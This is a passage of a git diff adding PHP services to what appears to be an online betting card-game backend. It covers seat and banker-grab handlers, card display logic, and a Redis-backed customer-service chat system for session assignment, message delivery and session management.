1){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_5']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + /** 会员金额必须大于桌子抢庄金额 */ + if($userInfo['money'] < $tableInfo['limit_banker_amount']){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_1']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + /** 验证当前局是否有人已经抢庄 */ + if($numberTabInfo['rob_banker_id'] > 0){ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail_6']); + SocketSession::resetRepeat($fd,'user','isToRob'); + return; + } + $res = Bet::toRob($userInfo,$numberTabInfo); + if ($res){ + $RobMsg = ['rob_banker_id' => $userInfo['id'], 'rob_banker_username' => $userInfo['username']]; + $ws->to(SocketSession::HOUSE_NAME)->emit('toRob',['status' => true, 'table_id' => $tableInfo['id'], 'RobMsg' => $RobMsg, 'msg' => '抢庄成功']); + }else{ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_rob_fail']); + } + SocketSession::resetRepeat($fd,'user','isToRob'); + } +} \ No newline at end of file diff --git a/app/services/bet/ToSeatService.php b/app/services/bet/ToSeatService.php new file mode 100644 index 0000000..746abf1 --- /dev/null +++ b/app/services/bet/ToSeatService.php @@ -0,0 +1,81 @@ +getSender(); + $numberTabId = isset($event['number_tab_id']) && intval($event['number_tab_id']) > 0 ? intval($event['number_tab_id']) : 0; + $userId = isset($event['user_id']) && intval($event['user_id']) > 0 ? intval($event['user_id']) : 0; + $seatNum = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + + /** 验证是否和当前铺同一 */ + if ($numberTabInfo['id'] != $numberTabId){ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail_1']); + SocketSession::resetRepeat($fd,'user','isToSeat'); + return; + } + + $userInfo = User::get(['id' => $userId, 'status' => 1, 'is_delete' => 0]); + /** 验证会员有效 */ + if (!$userInfo || $userInfo['bet_type'] != 2){ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail_2']); + SocketSession::resetRepeat($fd,'user','isToSeat'); + return; + } + /** 验证座位号参数 */ + $table_seat_num = $tableInfo['seat_num'] >= 4 ? $tableInfo['seat_num'] + 1 : $tableInfo['seat_num']; + if($seatNum < 1 || $seatNum > $table_seat_num){ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail_3']); + SocketSession::resetRepeat($fd,'user','isToSeat'); + return; + } + + $seatJson = $numberTabInfo['seat_json']; + $seatArr = json_decode($seatJson,true); + /** 验证座位是否有玩家 */ + if(isset($seatArr[$userInfo['manager_id']])){ + if($seatArr[$userInfo['manager_id']][$seatNum] && $seatArr[$userInfo['manager_id']][$seatNum] != $userId){ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail_4']); + SocketSession::resetRepeat($fd,'user','isToSeat'); + return; + } + } + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo && $prevBetInfo['seat_num'] != $seatNum){ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail_5']); + SocketSession::resetRepeat($fd,'user','isToSeat'); + return; + } + + $res = Bet::toSeat($userInfo,$numberTabInfo,$tableInfo,$seatNum); + if ($res){ + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + $table_seat_info = json_decode($numberTabInfo['seat_json'],true); + $SeatMsg = ['user_id' => $userInfo['id'], 'username' => $userInfo['username'],'manager_id' => $userInfo['manager_id'],'seat_num' => $seatNum]; + $ws->to(SocketSession::HOUSE_NAME)->emit('toSeat',['status' => true, 'table_id' => $tableInfo['id'], 'SeatMsg' => $SeatMsg, 'table_seat_info' => $table_seat_info[$userInfo['manager_id']], 'msg' => 'to_seat_success']); + }else{ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_seat_fail']); + } + SocketSession::resetRepeat($fd,'user','isToSeat'); + } + +} \ No newline at end of file diff --git a/app/services/chat/AssignService.php b/app/services/chat/AssignService.php new file mode 100644 index 0000000..6826d6e --- /dev/null +++ b/app/services/chat/AssignService.php @@ -0,0 +1,297 @@ +getRedis(); + $lockKey = self::LOCK_PREFIX . $userId; + + // 1. 获取分配锁 (防止并发双分配) + $lockValue = uniqid('', true); + $acquired = $redis->set($lockKey, $lockValue, ['NX', 'PX' => self::LOCK_TTL]); + + if (!$acquired) { + // 锁被占用,检查是否已有活跃会话 + return $this->getExistingSessionAgent($userId); + } + + try { + // 2. 检查用户是否已有活跃会话 + $existingAgent = $this->getExistingSessionAgent($userId); + if ($existingAgent !== null) { + return $existingAgent; + } + + // 3. 获取所有在线客服 + $onlineAgents = $this->getOnlineAgents(); + if (empty($onlineAgents)) { + // 无在线客服,进入留言队列 + $this->addToOfflineQueue($userId, $sessionId); + return null; + } + + // 4. 选择会话数最少的客服 + $selectedAgent = $this->selectLeastLoadAgent($onlineAgents); + if ($selectedAgent === null) { + // 所有客服已满载 + $this->addToOfflineQueue($userId, $sessionId); + return null; + } + + // 5. 更新会话归属 + $this->bindSessionToAgent($sessionId, $selectedAgent); + + // 6. 增加客服负载计数 + $redis->incr(self::LOAD_PREFIX . $selectedAgent); + + return $selectedAgent; + + } finally { + // 释放锁 (仅释放自己持有的锁) + $this->releaseLock($lockKey, $lockValue); + } + } + + /** + * 获取在线客服列表 + */ + public function getOnlineAgents(): array + { + $redis = $this->getRedis(); + $enabledAdmins = ChatAdminStatus::getEnabledAdminIds(); + $onlineAgents = []; + + foreach ($enabledAdmins as $adminId) { + if ($redis->exists(self::ONLINE_PREFIX . $adminId)) { + $onlineAgents[] = $adminId; + } + } + + return $onlineAgents; + } + + /** + * 选择会话数最少的客服 + */ + public function selectLeastLoadAgent(array $onlineAgents): ?int + { + $redis = $this->getRedis(); + $loads = []; + + foreach ($onlineAgents as $agentId) { + $load = (int)$redis->get(self::LOAD_PREFIX . $agentId) ?: 0; + $maxSessions = $this->getAgentMaxSessions($agentId); + + if ($load < $maxSessions) { + $loads[$agentId] = $load; + } + } + + if (empty($loads)) { + return null; + } + + // 返回负载最小的客服 + asort($loads); + return array_key_first($loads); + } + + /** + * 添加到离线队列 (按余额降序) + */ + public function addToOfflineQueue(int $userId, int $sessionId): void + { + $redis = $this->getRedis(); + + // 获取用户余额 + $user = Db::name('user')->where('id', $userId)->find(); + $balance = $user['money'] ?? 0; + + // ZSET score 使用负余额实现降序 (余额高的先处理) + $score = -$balance; + $member = json_encode([ + 'userId' => $userId, + 'sessionId' => $sessionId, + 'time' => time() + ]); + + $redis->zAdd(self::QUEUE_KEY, $score, $member); + } + + /** + * 客服上线时处理队列 + */ + public function processOfflineQueue(int $adminId): array + { + $redis = $this->getRedis(); + $processed = []; + + while (true) { + // 获取队列中优先级最高的会话 (score最小 = 余额最高) + $items = $redis->zRange(self::QUEUE_KEY, 0, 0); + + if (empty($items)) { + break; + } + + $item = json_decode($items[0], true); + + // 检查客服是否还能接单 + $currentLoad = (int)$redis->get(self::LOAD_PREFIX . $adminId) ?: 0; + $maxSessions = $this->getAgentMaxSessions($adminId); + + if ($currentLoad >= $maxSessions) { + break; + } + + // 从队列移除 + $redis->zRem(self::QUEUE_KEY, $items[0]); + + // 分配会话 + $this->bindSessionToAgent($item['sessionId'], $adminId); + $redis->incr(self::LOAD_PREFIX . $adminId); + + $processed[] = $item; + } + + return $processed; + } + + /** + * 释放会话 (会话结束时调用) + */ + public function releaseSession(int $sessionId, int $adminId): void + { + $redis = $this->getRedis(); + + // 删除会话归属 + $redis->del(self::SESSION_OWNER_PREFIX . $sessionId); + + // 减少客服负载 + $load = (int)$redis->get(self::LOAD_PREFIX . $adminId) ?: 0; + if ($load > 0) { + $redis->decr(self::LOAD_PREFIX . $adminId); + } + } + + /** + * 设置客服在线状态 + */ + public function setAgentOnline(int $adminId): void + { + $redis = $this->getRedis(); + $redis->setex(self::ONLINE_PREFIX . $adminId, 60, '1'); + ChatAdminStatus::updateLastOnlineTime($adminId); + } + + /** + * 刷新客服在线状态 (心跳续期) + */ + public function refreshAgentOnline(int $adminId): void + { + $redis = $this->getRedis(); + $redis->expire(self::ONLINE_PREFIX . $adminId, 60); + } + + /** + * 设置客服离线 + */ + public function setAgentOffline(int $adminId): void + { + $redis = $this->getRedis(); + $redis->del(self::ONLINE_PREFIX . $adminId); + $redis->del(self::LOAD_PREFIX . $adminId); + } + + /** + * 获取客服最大会话数 + */ + private function getAgentMaxSessions(int $adminId): int + { + $status = ChatAdminStatus::getByAdminId($adminId); + return $status['max_sessions'] ?? self::MAX_SESSIONS; + } + + /** + * 获取用户已有会话的客服ID + */ + private function getExistingSessionAgent(int $userId): ?int + { + $session = ChatSession::getActiveByUserId($userId); + return $session['admin_id'] ?? null; + } + + /** + * 绑定会话到客服 + */ + private function bindSessionToAgent(int $sessionId, int $adminId): void + { + $redis = $this->getRedis(); + + // 更新数据库 + ChatSession::where('id', $sessionId)->update([ + 'admin_id' => $adminId, + 'status' => ChatSession::STATUS_ACTIVE, + 'update_time' => time(), + ]); + + // 设置Redis映射 + $redis->set(self::SESSION_OWNER_PREFIX . $sessionId, $adminId); + } + + /** + * 释放分配锁 + */ + private function releaseLock(string $key, string $value): void + { + $redis = $this->getRedis(); + + // Lua脚本保证原子性:仅当值匹配时才删除 + $script = <<eval($script, [$key, $value], 1); + } + + /** + * 获取Redis实例 + */ + private function getRedis(): \Redis + { + return Cache::store('redis')->handler(); + } +} diff --git a/app/services/chat/MessageService.php b/app/services/chat/MessageService.php new file mode 100644 index 0000000..6298ade --- /dev/null +++ b/app/services/chat/MessageService.php @@ -0,0 +1,201 @@ +nextId(); + + // 内容长度限制 + $content = $data['content'] ?? ''; + if (mb_strlen($content) > self::MAX_CONTENT_LENGTH) { + $content = mb_substr($content, 0, self::MAX_CONTENT_LENGTH); + } + + $message = [ + 'msg_id' => $msgId, + 'session_id' => $data['session_id'], + 'sender_type' => $data['sender_type'], + 'sender_id' => $data['sender_id'], + 'msg_type' => $data['msg_type'] ?? ChatMessage::MSG_TYPE_TEXT, + 'content' => $content, + 'status' => ChatMessage::STATUS_PENDING, + 'retry_count' => 0, + 'create_time' => time(), + ]; + + // 幂等性检查 + if (isset($data['client_msg_id']) && ChatMessage::existsByMsgId($data['client_msg_id'])) { + return ChatMessage::where('msg_id', $data['client_msg_id'])->find()->toArray(); + } + + // 入库 + $id = ChatMessage::insertGetId($message); + $message['id'] = $id; + + // 更新会话最后消息 + ChatSession::where('id', $data['session_id'])->update([ + 'last_msg_id' => $msgId, + 'last_msg_time' => time(), + 'update_time' => time(), + ]); + + return $message; + } + + /** + * 推送消息到目标连接 + * @param int $msgId 消息ID + * @param int $targetFd 目标连接FD + * @param array $payload 消息内容 + * @return bool + */ + public function pushMessage(int $msgId, int $targetFd, array $payload): bool + { + $server = app('swoole.server'); + + for ($retry = 0; $retry <= self::MAX_RETRY; $retry++) { + // 检查目标连接是否有效 + if (!$server->isEstablished($targetFd)) { + $this->updateMessageStatus($msgId, ChatMessage::STATUS_PENDING); + return false; + } + + // 尝试推送 + $result = $server->push($targetFd, json_encode($payload)); + + if ($result) { + $this->updateMessageStatus($msgId, ChatMessage::STATUS_SENT); + return true; + } + + // 推送失败,记录重试次数 + $this->incrementRetryCount($msgId); + + if ($retry < self::MAX_RETRY) { + // 指数退避等待 + usleep(self::RETRY_DELAYS[$retry] * 1000); + } + } + + // 超过最大重试次数,标记为failed + $this->updateMessageStatus($msgId, ChatMessage::STATUS_FAILED); + return false; + } + + /** + * 更新消息状态 + */ + public function updateMessageStatus(int $msgId, int $status): void + { + $update = ['status' => $status]; + + if ($status === ChatMessage::STATUS_DELIVERED) { + $update['delivered_time'] = time(); + } elseif ($status === ChatMessage::STATUS_READ) { + $update['read_time'] = time(); + } + + ChatMessage::where('msg_id', $msgId)->update($update); + } + + /** + * 获取会话未读消息 (重连后拉取) + */ + public function getUnreadMessages(int $sessionId, int $receiverType, int $limit = null): array + { + $limit = $limit ?? self::RECONNECT_FETCH_LIMIT; + return ChatMessage::getUnreadBySessionId($sessionId, $receiverType, $limit); + } + + /** + * 批量标记消息为已读 + */ + public function markMessagesAsRead(array $msgIds): void + { + if (empty($msgIds)) { + return; + } + + ChatMessage::whereIn('msg_id', $msgIds) + ->where('status', '<', ChatMessage::STATUS_READ) + ->update([ + 'status' => ChatMessage::STATUS_READ, + 'read_time' => time(), + ]); + } + + /** + * 标记消息为已送达 + */ + public function markMessageDelivered(int $msgId): void + { + ChatMessage::where('msg_id', $msgId) + ->where('status', '<', ChatMessage::STATUS_DELIVERED) + ->update([ + 'status' => ChatMessage::STATUS_DELIVERED, + 'delivered_time' => time(), + ]); + } + + /** + * 获取会话消息历史 + */ + public function getMessageHistory(int $sessionId, int $limit = 50, int $lastId = 0): array + { + return ChatMessage::getBySessionId($sessionId, $limit, $lastId); + } + + /** + * 增加重试次数 + */ + private function incrementRetryCount(int $msgId): void + { + ChatMessage::where('msg_id', $msgId)->inc('retry_count')->update(); + } + + /** + * 验证消息内容 + */ + public function validateContent(string $content, int $msgType): array + { + if ($msgType === ChatMessage::MSG_TYPE_TEXT) { + if (empty(trim($content))) { + return ['valid' => false, 'error' => '消息内容不能为空']; + } + if (mb_strlen($content) > self::MAX_CONTENT_LENGTH) { + return ['valid' => false, 'error' => '消息内容超过' . self::MAX_CONTENT_LENGTH . '字符限制']; + } + } elseif ($msgType === ChatMessage::MSG_TYPE_IMAGE) { + if (empty($content) || !filter_var($content, FILTER_VALIDATE_URL)) { + return ['valid' => false, 'error' => '图片URL无效']; + } + } + + return ['valid' => true, 'error' => null]; + } +} diff --git a/app/services/chat/SessionService.php b/app/services/chat/SessionService.php new file mode 100644 index 0000000..0c92df9 --- /dev/null +++ b/app/services/chat/SessionService.php @@ -0,0 +1,326 @@ +assignService = new AssignService(); + } + + /** + * 创建会话 + * @param int $userId 用户ID + * @param int $source 来源 1=PC 2=Game 3=Portal + * @return array 会话数据 + */ + public function createSession(int $userId, int $source): array + { + $redis = $this->getRedis(); + + // 检查是否已有活跃会话 + $existingSession = ChatSession::getActiveByUserId($userId); + if ($existingSession) { + return $existingSession; + } + + // 创建新会话 + $session = [ + 'user_id' => $userId, + 'source' => $source, + 'status' => ChatSession::STATUS_PENDING, + 'create_time' => time(), + 'update_time' => time(), + ]; + + $sessionId = ChatSession::insertGetId($session); + $session['id'] = $sessionId; + + // 缓存用户活跃会话 + $redis->set(self::USER_ACTIVE_SESSION_PREFIX . $userId, $sessionId); + + // 尝试分配客服 + $adminId = $this->assignService->assignSession($userId, $sessionId); + if ($adminId !== null) { + $session['admin_id'] = $adminId; + $session['status'] = ChatSession::STATUS_ACTIVE; + } + + return $session; + } + + /** + * 获取用户活跃会话 + */ + public function getActiveSession(int $userId): ?array + { + return ChatSession::getActiveByUserId($userId); + } + + /** + * 获取会话详情(含用户信息) + */ + public function getSessionDetail(int $sessionId): ?array + { + $session = ChatSession::find($sessionId); + if (!$session) { + return null; + } + + $session = $session->toArray(); + + // 获取用户信息 + $user = Db::name('user')->where('id', $session['user_id'])->find(); + if ($user) { + $session['user_info'] = [ + 'id' => $user['id'], + 'username' => $user['username'], + 'nickname' => $user['nickname'] ?? $user['username'], + 'money' => $user['money'], + 'agent_id' => $user['agent_id'] ?? null, + ]; + } + + return $session; + } + + /** + * 结束会话 + */ + public function endSession(int $sessionId, int $operatorId): bool + { + $session = ChatSession::find($sessionId); + if (!$session) { + return false; + } + + $session = $session->toArray(); + + // 只能结束进行中的会话 + if ($session['status'] === ChatSession::STATUS_ENDED) { + return true; + } + + // 更新会话状态 + ChatSession::where('id', $sessionId)->update([ + 'status' => ChatSession::STATUS_ENDED, + 'end_time' => time(), + 'update_time' => time(), + ]); + + // 清理Redis缓存 + $redis = $this->getRedis(); + $redis->del(self::USER_ACTIVE_SESSION_PREFIX . $session['user_id']); + + // 释放客服会话配额 + if ($session['admin_id']) { + $this->assignService->releaseSession($sessionId, $session['admin_id']); + } + + return true; + } + + /** + * 转接会话 + */ + public function transferSession(int $sessionId, int $newAdminId): bool + { + $session = ChatSession::find($sessionId); + if (!$session || $session['status'] !== ChatSession::STATUS_ACTIVE) { + return false; + } + + $oldAdminId = $session['admin_id']; + + // 更新会话归属 + ChatSession::where('id', $sessionId)->update([ + 'admin_id' => $newAdminId, + 'update_time' => time(), + ]); + + // 更新Redis + $redis = $this->getRedis(); + $redis->set('cs:session:owner:' . $sessionId, $newAdminId); + + // 调整负载计数 + if ($oldAdminId) { + $oldLoad = (int)$redis->get('cs:agent:load:' . $oldAdminId) ?: 0; + if ($oldLoad > 0) { + $redis->decr('cs:agent:load:' . $oldAdminId); + } + } + $redis->incr('cs:agent:load:' . $newAdminId); + + return true; + } + + /** + * 会话评价 + */ + public function rateSession(int $sessionId, int $rating, ?string $content = null): bool + { + $session = ChatSession::find($sessionId); + if (!$session) { + return false; + } + + // 评分范围 1-5 + $rating = max(1, min(5, $rating)); + + ChatSession::where('id', $sessionId)->update([ + 'rating' => $rating, + 'rating_content' => $content ? mb_substr($content, 0, 500) : null, + 'update_time' => time(), + ]); + + return true; + } + + /** + * 注册用户连接 + */ + public function registerUserConnection(int $userId, int $fd): void + { + $redis = $this->getRedis(); + $redis->setex(self::CONN_USER_PREFIX . $userId, 60, $fd); + } + + /** + * 注册客服连接 + */ + public function registerAgentConnection(int $adminId, int $fd): void + { + $redis = $this->getRedis(); + $redis->setex(self::CONN_AGENT_PREFIX . $adminId, 60, $fd); + } + + /** + * 刷新用户连接TTL + */ + public function refreshUserConnection(int $userId): void + { + $redis = $this->getRedis(); + $redis->expire(self::CONN_USER_PREFIX . $userId, 60); + } + + /** + * 刷新客服连接TTL + */ + public function refreshAgentConnection(int $adminId): void + { + $redis = $this->getRedis(); + $redis->expire(self::CONN_AGENT_PREFIX . $adminId, 60); + } + + /** + * 获取用户连接FD + */ + public function getUserFd(int $userId): ?int + { + $redis = $this->getRedis(); + $fd = $redis->get(self::CONN_USER_PREFIX . $userId); + return $fd ? (int)$fd : null; + } + + /** + * 获取客服连接FD + */ + public function getAgentFd(int $adminId): ?int + { + $redis = $this->getRedis(); + $fd = $redis->get(self::CONN_AGENT_PREFIX . $adminId); + return $fd ? (int)$fd : null; + } + + /** + * 清理用户连接 + */ + public function clearUserConnection(int $userId): void + { + $redis = $this->getRedis(); + $redis->del(self::CONN_USER_PREFIX . $userId); + } + + /** + * 清理客服连接 + */ + public function clearAgentConnection(int $adminId): void + { + $redis = $this->getRedis(); + $redis->del(self::CONN_AGENT_PREFIX . $adminId); + } + + /** + * 获取客服会话列表 + */ + public function getAgentSessions(int $adminId): array + { + $sessions = ChatSession::getActiveByAdminId($adminId); + + // 附加用户信息和未读数 + foreach ($sessions as &$session) { + $user = Db::name('user')->where('id', $session['user_id'])->find(); + $session['user_info'] = [ + 'username' => $user['username'] ?? '', + 'nickname' => $user['nickname'] ?? $user['username'] ?? '', + 'money' => $user['money'] ?? 0, + ]; + + // 未读消息数 + $session['unread_count'] = ChatMessage::where('session_id', $session['id']) + ->where('sender_type', ChatMessage::SENDER_USER) + ->where('status', '<', ChatMessage::STATUS_READ) + ->count(); + } + + return $sessions; + } + + /** + * 获取待分配会话列表 + */ + public function getPendingSessions(): array + { + $sessions = ChatSession::where('status', ChatSession::STATUS_PENDING) + ->order('create_time', 'asc') + ->select() + ->toArray(); + + foreach ($sessions as &$session) { + $user = Db::name('user')->where('id', $session['user_id'])->find(); + $session['user_info'] = [ + 'username' => $user['username'] ?? '', + 'nickname' => $user['nickname'] ?? $user['username'] ?? '', + 'money' => $user['money'] ?? 0, + ]; + } + + return $sessions; + } + + /** + * 获取Redis实例 + */ + private function getRedis(): \Redis + { + return Cache::store('redis')->handler(); + } +} diff --git a/app/services/connect/GetCardService.php b/app/services/connect/GetCardService.php new file mode 100644 index 0000000..d1bbc86 --- /dev/null +++ b/app/services/connect/GetCardService.php @@ -0,0 +1,239 @@ + 0){ + $pushArray = array('card' => $cardInfo['card_first'], 'order_num' => '0'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_1'], 'order_num' => '11'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_2'], 'order_num' => '12'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_3'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_3'], 'order_num' => '13'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_4'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_4'], 'order_num' => '14'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_5'] > 0){ + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player1Card[4] = $cardInfo['player_1_card_5']; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $pushArray = array('card' => $cardInfo['player_1_card_5'], 'order_num' => '15', 'result' => $player1Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_1'], 'order_num' => '21'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_2'], 'order_num' => '22'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_3'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_3'], 'order_num' => '23'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_4'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_4'], 'order_num' => '24'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_5'] > 0){ + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player2Card[4] = $cardInfo['player_2_card_5']; + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $pushArray = array('card' => $cardInfo['player_2_card_5'], 'order_num' => '25', 'result' => $player2Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_1'], 'order_num' => '31'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_2'], 'order_num' => '32'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_3'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_3'], 'order_num' => '33'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_4'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_4'], 'order_num' => '34'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_5'] > 0){ + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $player3Card[4] = $cardInfo['player_3_card_5']; + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $pushArray = array('card' => $cardInfo['player_3_card_5'], 'order_num' => '35', 'result' => $player3Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_1'], 'order_num' => '41'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_2'], 'order_num' => '42'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_3'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_3'], 'order_num' => '43'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_4'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_4'], 'order_num' => '44'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_5'] > 0){ + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $bankerCard[4] = $cardInfo['banker_card_5']; + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + $pushArray = array('card' => $cardInfo['banker_card_5'], 'order_num' => '45', 'result' => $bankerResult['word']); + array_push($showCard,$pushArray); + } + }elseif($tableInfo['game_id'] == 5){ + $cardInfo = RedisUtil::getCard($numberTabInfo['id']); + if (!$cardInfo) return []; + if($cardInfo['card_first'] > 0){ + $pushArray = array('card' => $cardInfo['card_first'], 'order_num' => '0'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_1'], 'order_num' => '11'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_1_card_2'], 'order_num' => '12'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_1_card_3'] > 0){ + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Result = CardPositionTc::ThredCardCowCow($player1Card); + $pushArray = array('card' => $cardInfo['player_1_card_3'], 'order_num' => '13', 'result' => $player1Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_1'], 'order_num' => '21'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_2_card_2'], 'order_num' => '22'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_2_card_3'] > 0){ + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Result = CardPositionTc::ThredCardCowCow($player2Card); + $pushArray = array('card' => $cardInfo['player_2_card_3'], 'order_num' => '23', 'result' => $player2Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_1'], 'order_num' => '31'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['player_3_card_2'], 'order_num' => '32'); + array_push($showCard,$pushArray); + } + if($cardInfo['player_3_card_3'] > 0){ + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Result = CardPositionTc::ThredCardCowCow($player3Card); + $pushArray = array('card' => $cardInfo['player_3_card_3'], 'order_num' => '33', 'result' => $player3Result['word']); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_1'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_1'], 'order_num' => '41'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_2'] > 0){ + $pushArray = array('card' => $cardInfo['banker_card_2'], 'order_num' => '42'); + array_push($showCard,$pushArray); + } + if($cardInfo['banker_card_3'] > 0){ + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerResult = CardPositionTc::ThredCardCowCow($bankerCard); + $pushArray = array('card' => $cardInfo['banker_card_3'], 'order_num' => '43', 'result' => $bankerResult['word']); + array_push($showCard,$pushArray); + } + }else{ + $cardInfo = RedisUtil::getCardPosition($numberTabInfo['id']); + foreach ($cardInfo AS $k => $v){ + switch ($k){ + case 'banker_1': + $showCard[] = ['position' => 21, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + case 'banker_2': + $showCard[] = ['position' => 22, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + case 'banker_3': + $showCard[] = ['position' => 23, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + case 'player_1': + $showCard[] = ['position' => 11, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + case 'player_2': + $showCard[] = ['position' => 12, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + case 'player_3': + $showCard[] = ['position' => 13, 'card' => intval($v), 'number' => CardPosition::interchangeCard($v)]; + break; + } + } + } + return $showCard; + } +} \ No newline at end of file diff --git a/app/services/connect/InitTableService.php b/app/services/connect/InitTableService.php new file mode 100644 index 0000000..3775e12 --- /dev/null +++ b/app/services/connect/InitTableService.php @@ -0,0 +1,67 @@ + 1, 'bet_msg' => 'bet_status_1']; + break; + case 2: + $return = ['bet_status' => 2, 'bet_msg' => 'bet_status_2']; + break; + default: + $return = ['bet_status' => 0, 'bet_msg' => 'bet_status_0']; + break; + } + switch ($numberTabInfo['rob_status']){ + case 1: + $return = array_merge(['rob_status' => 1, 'bet_msg' => 'rob_status_1'],$return); + break; + case 2: + $return = array_merge(['rob_status' => 2, 'bet_msg' => 'rob_status_2'],$return); + break; + default: + $return = array_merge(['rob_status' => 0, 'bet_msg' => 'rob_status_0'],$return); + break; + } + return $return; + } +} \ No newline at end of file diff --git 